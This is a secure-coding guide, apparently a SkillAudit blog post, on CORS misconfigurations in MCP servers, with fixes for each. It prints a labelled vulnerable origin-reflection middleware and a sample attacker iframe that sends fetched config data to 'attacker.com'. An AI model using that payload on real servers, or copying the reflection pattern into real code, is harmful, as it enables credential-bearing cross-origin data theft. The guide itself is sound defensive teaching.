MCP Server Security
Advanced CORS security for MCP servers
Basic CORS — adding Access-Control-Allow-Origin: * to unblock a request — is understood by most developers. The dangerous edge cases are not: credentialed requests with wildcard origins, null origin reflections, preflight cache poisoning, and the specific ways these misconfigurations chain together to produce exploitable cross-origin vulnerabilities in MCP servers.
The wildcard + credentials trap
The single most common CORS misconfiguration SkillAudit finds: returning Access-Control-Allow-Origin: * alongside Access-Control-Allow-Credentials: true. Browsers actually block this combination — they refuse to expose the response to JavaScript if both headers are present and the origin is wildcard. But the real danger is the code that tries to work around this browser restriction:
// DANGEROUS — reflects whatever Origin header the request sent
app.use((req, res, next) => {
const origin = req.headers.origin
if (origin) {
res.setHeader('Access-Control-Allow-Origin', origin) // reflects attacker-controlled value
res.setHeader('Access-Control-Allow-Credentials', 'true')
}
next()
})
This pattern — reflect the request's Origin header back — is present in a significant fraction of Node.js MCP servers. It allows any origin to make credentialed requests to your server, bypassing the CORS same-origin protection entirely. An attacker's page at evil.example.com can call your MCP server's HTTP endpoints with the user's session cookies.
The fix is an explicit allowlist:
const ALLOWED_ORIGINS = new Set([
'https://claude.ai',
'https://cursor.sh',
'http://localhost:3000' // dev only — remove in prod
])
app.use((req, res, next) => {
const origin = req.headers.origin
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin)
res.setHeader('Access-Control-Allow-Credentials', 'true')
res.setHeader('Vary', 'Origin') // critical: tells caches this response is origin-specific
}
next()
})
The Vary: Origin header is not optional. Without it, a CDN or reverse proxy will cache the response for one origin and serve it to a different origin — either breaking the CORS check for legitimate callers or (worse) serving a credentialed response to an unintended origin.
Null origin attacks
The null origin is sent by browsers in specific circumstances: sandboxed iframes (<iframe sandbox>), data: URLs, file:// pages, and certain redirects. Some CORS libraries treat Origin: null as a legitimate origin and reflect it as Access-Control-Allow-Origin: null. This is exploitable:
<!-- attacker's page -->
<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
<script>
fetch('https://your-mcp-server.com/api/config', { credentials: 'include' })
.then(r => r.json())
.then(data => fetch('https://attacker.com/steal?d=' + btoa(JSON.stringify(data))))
</script>
"></iframe>
The sandboxed iframe sends Origin: null. If your server reflects null back and allows credentials, the exfiltration succeeds. The fix: never allow null as an origin in your allowlist, and explicitly reject requests with Origin: null:
app.use((req, res, next) => {
const origin = req.headers.origin
if (!origin || origin === 'null') {
// do not set CORS headers — browser will block cross-origin access
return next()
}
if (ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin)
res.setHeader('Vary', 'Origin')
}
next()
})
Preflight caching and cache poisoning
The Access-Control-Max-Age header controls how long browsers cache the result of a CORS preflight (OPTIONS) request. Setting it too high — or getting it reflected wrong — can cause browsers to use a stale preflight response for subsequent requests to different paths:
// DANGEROUS: 24-hour preflight cache
res.setHeader('Access-Control-Max-Age', '86400')
// SAFE: short preflight cache, force re-check
res.setHeader('Access-Control-Max-Age', '300') // 5 minutes
Preflight cache poisoning is theoretical in most deployments, but it becomes practical if your MCP server has routes with different CORS policies (e.g., a public API route and an admin route). A browser that has cached a permissive preflight response for the public route may reuse it for a subsequent request to the admin route within the cache window.
The safest approach: use a uniform CORS policy across all routes, and set Access-Control-Max-Age to a short value (300–600 seconds).
Exposed headers
By default, browsers only expose a small set of response headers to JavaScript (Content-Type, Content-Language, Expires, Cache-Control, Pragma, Last-Modified). Custom headers — like a X-Request-Id or X-Audit-Session — are blocked unless you explicitly allow them:
res.setHeader( 'Access-Control-Expose-Headers', 'X-Request-Id, X-Rate-Limit-Remaining' )
Only expose headers that client-side code genuinely needs. Do not expose Authorization, internal session identifiers, or any header whose contents could be used in a subsequent attack.
HTTP methods and allowed headers
The preflight response must explicitly list the HTTP methods and request headers your API accepts. Overly permissive configurations — Access-Control-Allow-Methods: * or reflecting back whatever the request sent in Access-Control-Request-Method — expand your attack surface unnecessarily:
// preflight handler
app.options('/api/*', (req, res) => {
const origin = req.headers.origin
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin)
res.setHeader('Vary', 'Origin')
res.setHeader('Access-Control-Allow-Methods', 'GET, POST') // explicit, not *
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization') // explicit
res.setHeader('Access-Control-Max-Age', '300')
res.setHeader('Access-Control-Allow-Credentials', 'true')
}
res.status(204).end()
})
What SkillAudit flags as High findings
Origin reflection without an allowlist check is a High finding — it completely bypasses same-origin protection for credentialed requests. Accepting null as a valid origin when credentials are allowed is also a High finding. Wildcard origin with credentials in the same response (which browsers block but the header combination signals intent to allow) is flagged as a Medium finding with a note about the likely attempted workaround.
Missing Vary: Origin on responses with dynamic Access-Control-Allow-Origin values is a Medium finding for potential cache-based origin confusion.
Find CORS misconfigurations in your MCP server
SkillAudit's static pass detects origin reflection patterns, null origin acceptance, and missing Vary headers in MCP server source code. Free for public repos.
Run a free audit